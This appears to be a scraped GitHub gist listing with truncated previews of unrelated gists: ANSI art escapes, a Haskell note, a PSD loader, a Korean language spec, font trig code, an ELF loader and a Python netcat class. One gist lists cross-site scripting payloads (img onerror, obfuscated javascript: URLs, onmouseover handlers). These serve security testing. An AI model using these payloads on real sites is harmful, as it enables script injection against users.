Skip to content

Instantly share code, notes, and snippets.

View 20chan's full-sized avatar
๐ŸŽธ
rockin'

20chan 20chan

๐ŸŽธ
rockin'
View GitHub Profile
@Dalgona
Dalgona / rem2_escaped.txt
Created November 21, 2016 08:19
suki desu suki desu suki desu suki desu suki desu suki desu suki desu suki desu ...
\x1b[48;5;210m\x1b[38;5;211mโ–„\x1b[48;5;211m\x1b[38;5;210mโ–„\x1b[48;5;210m\x1b[38;5;211mโ–„ \x1b[38;5;217mโ–„ \x1b[38;5;217mโ–„\x1b[48;5;217m \x1b[38;5;224mโ–„ \x1b[38;5;224mโ–„ \x1b[38;5;224mโ–„ \x1b[38;5;224mโ–„ \x1b[38;5;224mโ–„\x1b[48;5;224m \x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;217mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m \x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;217mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m \x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;217mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m \x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;217mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m \x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;217mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;223mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;223mโ–„\x1b[48;5;223m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;223mโ–„\x1b[48;5;217m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[38;5;223mโ–„\x1b[48;5;223m\x1b[38;5;224mโ–„\x1b[48;5;224m \x1b[48;5;223m\x1b[38;5;224mโ–„\x1b[48;5;224m\x1b[
@Dalgona
Dalgona / rem1_escaped.txt
Last active June 23, 2017 01:04
๏ผบ๏ผฅ๏ผฒ๏ผฏใ€€๏ผซ๏ผก๏ผฒ๏ผก๏ผ๏ผ๏ผ
\x1b[48;5;216m \x1b[48;5;223m\x1b[38;5;216mโ–„โ–„ \x1b[48;5;216m\x1b[38;5;223mโ–„ \x1b[48;5;222m\x1b[38;5;216mโ–„\x1b[48;5;228m\x1b[38;5;222mโ–„ \x1b[48;5;229m\x1b[38;5;228mโ–„\x1b[38;5;186mโ–„โ–„โ–„\x1b[48;5;186m\x1b[38;5;144mโ–„\x1b[48;5;101m\x1b[38;5;242mโ–„\x1b[48;5;110m\x1b[38;5;153mโ–„\x1b[48;5;153m \x1b[38;5;110mโ–„ \x1b[38;5;110mโ–„\x1b[48;5;195m\x1b[38;5;153mโ–„\x1b[48;5;110m\x1b[38;5;153mโ–„\x1b[48;5;241m\x1b[38;5;243mโ–„\x1b[48;5;102m \x1b[48;5;244m\x1b[38;5;243mโ–„\x1b[48;5;242m\x1b[38;5;241mโ–„\x1b[48;5;240m\x1b[38;5;241mโ–„\x1b[48;5;241m\x1b[38;5;102mโ–„\x1b[48;5;246m\x1b[38;5;242mโ–„\x1b[48;5;153m\x1b[38;5;110mโ–„\x1b[48;5;244m\x1b[38;5;110mโ–„\x1b[48;5;101m\x1b[38;5;241mโ–„\x1b[48;5;185m\x1b[38;5;144mโ–„\x1b[48;5;228m \x1b[38;5;222mโ–„\x1b[48;5;222m\x1b[38;5;223mโ–„โ–„\x1b[48;5;223m \x1b[38;5;216mโ–„\x1b[48;5;216m \x1b[0m
\x1b[48;5;216m \x1b[48;5;223m\x1b[38;5;216mโ–„โ–„ \x1b[48;5;216m\x1b[38;5;223mโ–„โ–„ \x1b[48;5;222m\x1b[38;5;216mโ–„\x1b[48;5;228m\x1b[38;5;222mโ–„โ–„ \x1b[48;5;186m\x1b[38;5;144mโ–„
((.) . (.))

์™ผ์ชฝ์˜ (.)๋ฅผ g, ์˜ค๋ฅธ์ชฝ์˜ (.)๋ฅผ f๋ผ๊ณ  ๋‘ก์‹œ๋‹ค.

let g = (.) :: c -> d
    f = (.) :: a -> b
in g . f
@RyuaNerin
RyuaNerin / LoadPSD.cs
Last active August 3, 2018 12:28
Load PSD File. support all of psd channel types. https://ryuanerin.kr/post/2016-04-06-loadpsd
// LoadPSD
// Made by RyuaNerin
// https://ryuanerin.kr/post/2016-04-06-loadpsd
//
// *** VERSION
// rev. 1 (2016-04-06)
//
// *** SUPPORT
// Net Framework 2.0 or newer
// (Grayscale, Indexed, RGB, CMYK, MultiChannel, Duotone, Lab) + (8/16/32 bit color depth) + alpha channel

์•„ํฌ ์œ ํ˜• A ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด ์„ค๋ช… ๋ฌธ์„œ - draft ๋ฒ„์ „ 1.2.0

ํ•œ๊ตญ์–ด

ํ•œ๊ตญ์–ด๋Š” ์• ๋งคํ•ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํžˆ๋Š” ๋ช…๋ฃŒํ•œ ์–ธ์–ด ์„ค๋ช… ๋ฌธ์„œ๋ฅผ ์ ๊ธฐ์—๋Š” ๋ถ€์กฑํ•œ ์ ์ด ์ข€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ๋ณธ๋ก ์— ๋“ค์–ด๊ฐ€๊ธฐ ์ „ ๋ช‡ ๊ฐ€์ง€ ํ‘œํ˜„์„ ๋ฏธ๋ฆฌ ๋ช…๋ฃŒํžˆ ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

  • A์—์„œ B๊นŒ์ง€ / A๋ถ€ํ„ฐ B๊นŒ์ง€: A์™€ B ์‚ฌ์ด์— ์žˆ๋Š” ๊ตฌ๊ฐ„์—์„œ A์™€ B๋ฅผ ํฌํ•จํ•œ ๊ตฌ๊ฐ„์„ ์นญํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฐ€(U+AC00) ์ด์ƒ ํžฃ(U+D7A3) ์ดํ•˜: ์œ ๋‹ˆ์ฝ”๋“œ์˜ ๋ฌธ์ž ๋ฒˆํ˜ธ๊ฐ€ ์‹ญ์œก์ง„์ˆ˜ ํ‘œ๊ธฐ๋กœ AC00 ์ด์ƒ D7A3 ์ดํ•˜์— ์†ํ•˜๋Š” ๋ชจ๋“  ์œ ๋‹ˆ์ฝ”๋“œ ๋ฌธ์ž๋ฅผ ์นญํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ๋ฌธ์„œ์—์„œ์˜ ์ˆซ์ž ํ‘œ๊ธฐ๋Š” ๋ณ„๋„๋กœ ์ •์˜ํ•˜์ง€ ์•Š๋Š” ์ด์ƒ ์‹ญ์ง„์ˆ˜ ํ‘œ๊ธฐ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
    • U+AC00 ๋“ฑ U+ ๋’ค์— ๋ฐ”๋กœ ๋”ฐ๋ผ ๋‚˜์˜ค๋Š” ๋„ค ์ž๋ฆฌ ๋ฌธ์ž๋Š” ์‹ญ์œก์ง„์ˆ˜ ํ‘œ๊ธฐ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฐ›์นจ๊ณผ ์ข…์„ฑ์€ ๋™์˜์–ด๋กœ ๋ด…๋‹ˆ๋‹ค.
@Pomax
Pomax / moo.md
Created November 15, 2015 14:32
programming some geometry in Type2 Charstrings

Writing Type2 sin(x) and cos(x) functions

If we want to make a font in which the glyphs are turned some random amount, we'll need to make sure we have a rotate function available. Normally, this is something you do with a rotation matrix, but that rotation matrix depends on trigonometric functions, and Type2 charstring instructions don't come with a trig. library, so ... we need to write our own!

In fact, let's use Bhaskara I's method of "sort of kind of" approximating a sine wave -or rather half of one- by using a relatively simple expression:

                 4x(ฯ€-x)
sin(x) = 4 * ----------------
              5ฯ€^2 - 4x(ฯ€-x)
@zeroseis
zeroseis / disable-auto-android-file-transfer.md
Created September 14, 2015 17:28
Disable auto start for Android File Transfer
  • Close Android File Transfer
  • Open Activity Monitor and kill โ€œAndroid File Transfer Agentโ€
  • Go to where you installed โ€œAndroid File Transfer.appโ€ (I have it under /Applications)
  • Ctrl+click โ€“> โ€œShow package contentsโ€
  • Go to Contents/Resources
  • Rename โ€œAndroid File Transfer Agentโ€ to e.g. โ€œAndroid File Transfer Agent_DISABLEDโ€
  • Then go to โ€œ/Users/username/Library/Application Support/Google/Android File Transferโ€ and again rename the Agent app.
@perillamint
perillamint / elfloader.c
Created April 13, 2015 19:13
Loads elf into heap.
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active August 31, 2024 14:38
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@leonjza
leonjza / netcat.py
Last active September 19, 2024 23:56
Python Netcat
import socket
class Netcat:
""" Python 'netcat like' module """
def __init__(self, ip, port):
self.buff = ""
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)